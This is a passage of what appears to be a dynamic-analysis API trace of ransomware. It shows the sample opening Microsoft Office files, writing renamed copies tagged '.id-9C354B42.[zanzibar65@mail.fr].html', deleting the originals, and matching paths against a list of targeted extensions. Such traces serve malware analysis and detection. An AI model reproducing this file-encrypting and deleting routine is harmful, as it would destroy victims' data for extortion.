hFile=0x1f0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0040.236] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.236] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.236] SetEndOfFile (hFile=0x1f0) returned 1 [0040.236] CloseHandle (hObject=0x1f0) returned 1 [0040.238] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.238] SetEndOfFile (hFile=0x1e8) returned 1 [0040.239] CloseHandle (hObject=0x1e8) returned 1 [0040.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0040.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.240] lstrlenW (lpString=".doc") returned 4 [0040.240] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString=".docx") returned 5 [0040.240] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0040.240] lstrlenW (lpString=".pdf") returned 4 [0040.240] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString=".xls") returned 4 [0040.240] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString=".xlsx") returned 5 [0040.240] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0040.240] lstrlenW (lpString=".ppt") returned 4 [0040.240] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.240] lstrlenW (lpString=".zip") returned 4 [0040.240] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString=".rar") returned 4 [0040.240] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString=".bz2") returned 4 [0040.240] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.240] lstrlenW (lpString=".7z") returned 3 [0040.240] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.240] lstrlenW (lpString=".dbf") returned 4 [0040.240] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.240] lstrlenW (lpString=".1cd") returned 4 [0040.240] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.240] lstrlenW (lpString=".jpg") returned 4 [0040.240] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.241] lstrlenW (lpString=".doc") returned 4 [0040.241] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.241] lstrlenW (lpString=".docx") returned 5 [0040.241] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0040.241] lstrlenW (lpString=".pdf") returned 4 [0040.241] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.241] lstrlenW (lpString=".xls") returned 4 [0040.241] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.241] lstrlenW (lpString=".xlsx") returned 5 [0040.241] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0040.241] lstrlenW (lpString=".ppt") returned 4 [0040.241] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.241] lstrlenW (lpString=".zip") returned 4 [0040.241] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.241] lstrlenW (lpString=".rar") returned 4 [0040.241] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.241] lstrlenW (lpString=".bz2") returned 4 [0040.241] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.241] lstrlenW (lpString=".7z") returned 3 [0040.241] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.241] lstrlenW (lpString=".dbf") returned 4 [0040.241] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.241] lstrlenW (lpString=".1cd") returned 4 [0040.241] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0040.241] lstrlenW (lpString=".jpg") returned 4 [0040.241] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.242] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.242] lstrlenW (lpString="SETUP.XML") returned 9 [0040.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.545] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=16683) returned 1 [0040.545] CloseHandle (hObject=0x1ac) returned 1 [0040.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0040.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.545] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.545] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.776] GetLastError () returned 0x0 [0040.776] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x412b, lpOverlapped=0x0) returned 1 [0040.777] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0040.779] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.779] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.779] SetEndOfFile (hFile=0x1e8) returned 1 [0040.779] CloseHandle (hObject=0x1e8) returned 1 [0040.780] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.780] SetEndOfFile (hFile=0x1ac) returned 1 [0040.780] CloseHandle (hObject=0x1ac) returned 1 [0040.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.781] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0040.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.781] lstrlenW (lpString=".doc") returned 4 [0040.781] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.781] lstrlenW (lpString=".docx") returned 5 [0040.781] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.781] lstrlenW (lpString=".pdf") returned 4 [0040.781] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.781] lstrlenW (lpString=".xls") returned 4 [0040.781] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.781] lstrlenW (lpString=".xlsx") returned 5 [0040.781] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.781] lstrlenW (lpString=".ppt") returned 4 [0040.781] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.781] lstrlenW (lpString=".zip") returned 4 [0040.781] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.781] lstrlenW (lpString=".rar") returned 4 [0040.781] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.781] lstrlenW (lpString=".bz2") returned 4 [0040.781] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.781] lstrlenW (lpString=".7z") returned 3 [0040.781] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.782] lstrlenW (lpString=".dbf") returned 4 [0040.782] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.782] lstrlenW (lpString=".1cd") returned 4 [0040.782] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.782] lstrlenW (lpString=".jpg") returned 4 [0040.782] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.782] lstrlenW (lpString=".doc") returned 4 [0040.782] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString=".docx") returned 5 [0040.782] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.782] lstrlenW (lpString=".pdf") returned 4 [0040.782] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString=".xls") returned 4 [0040.782] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString=".xlsx") returned 5 [0040.782] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.782] lstrlenW (lpString=".ppt") returned 4 [0040.782] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.782] lstrlenW (lpString=".zip") returned 4 [0040.782] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.782] lstrlenW (lpString=".rar") returned 4 [0040.782] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString=".bz2") returned 4 [0040.782] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.782] lstrlenW (lpString=".7z") returned 3 [0040.782] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.782] lstrlenW (lpString=".dbf") returned 4 [0040.783] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.783] lstrlenW (lpString=".1cd") returned 4 [0040.783] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0040.783] lstrlenW (lpString=".jpg") returned 4 [0040.783] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.783] lstrcmpiW (lpString1=".HTM", lpString2=".html") returned -1 [0040.783] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0040.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.784] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=11463) returned 1 [0040.784] CloseHandle (hObject=0x1ac) returned 1 [0040.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0040.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.784] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.784] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.786] GetLastError () returned 0x0 [0040.786] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0040.788] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0040.789] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.789] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.789] SetEndOfFile (hFile=0x1e8) returned 1 [0040.789] CloseHandle (hObject=0x1e8) returned 1 [0040.790] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.790] SetEndOfFile (hFile=0x1ac) returned 1 [0040.790] CloseHandle (hObject=0x1ac) returned 1 [0040.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.791] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0040.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.791] lstrlenW (lpString=".doc") returned 4 [0040.791] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0040.791] lstrlenW (lpString=".docx") returned 5 [0040.791] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0040.791] lstrlenW (lpString=".pdf") returned 4 [0040.791] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0040.791] lstrlenW (lpString=".xls") returned 4 [0040.791] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0040.791] lstrlenW (lpString=".xlsx") returned 5 [0040.791] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0040.791] lstrlenW (lpString=".ppt") returned 4 [0040.791] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0040.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.791] lstrlenW (lpString=".zip") returned 4 [0040.791] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0040.791] lstrlenW (lpString=".rar") returned 4 [0040.791] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0040.791] lstrlenW (lpString=".bz2") returned 4 [0040.791] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0040.791] lstrlenW (lpString=".7z") returned 3 [0040.792] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0040.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.792] lstrlenW (lpString=".dbf") returned 4 [0040.792] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0040.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.792] lstrlenW (lpString=".1cd") returned 4 [0040.792] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0040.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.792] lstrlenW (lpString=".jpg") returned 4 [0040.792] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0040.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.792] lstrlenW (lpString=".doc") returned 4 [0040.792] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0040.792] lstrlenW (lpString=".docx") returned 5 [0040.792] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0040.792] lstrlenW (lpString=".pdf") returned 4 [0040.792] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0040.792] lstrlenW (lpString=".xls") returned 4 [0040.792] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0040.792] lstrlenW (lpString=".xlsx") returned 5 [0040.792] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0040.792] lstrlenW (lpString=".ppt") returned 4 [0040.792] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0040.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.792] lstrlenW (lpString=".zip") returned 4 [0040.792] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0040.792] lstrlenW (lpString=".rar") returned 4 [0040.792] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0040.792] lstrlenW (lpString=".bz2") returned 4 [0040.792] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0040.792] lstrlenW (lpString=".7z") returned 3 [0040.793] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0040.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.793] lstrlenW (lpString=".dbf") returned 4 [0040.793] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0040.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.793] lstrlenW (lpString=".1cd") returned 4 [0040.793] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0040.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0040.793] lstrlenW (lpString=".jpg") returned 4 [0040.793] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0040.793] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.793] lstrlenW (lpString="DATES.XML") returned 9 [0040.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.793] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=8918) returned 1 [0040.793] CloseHandle (hObject=0x1ac) returned 1 [0040.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0040.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.794] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.794] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart 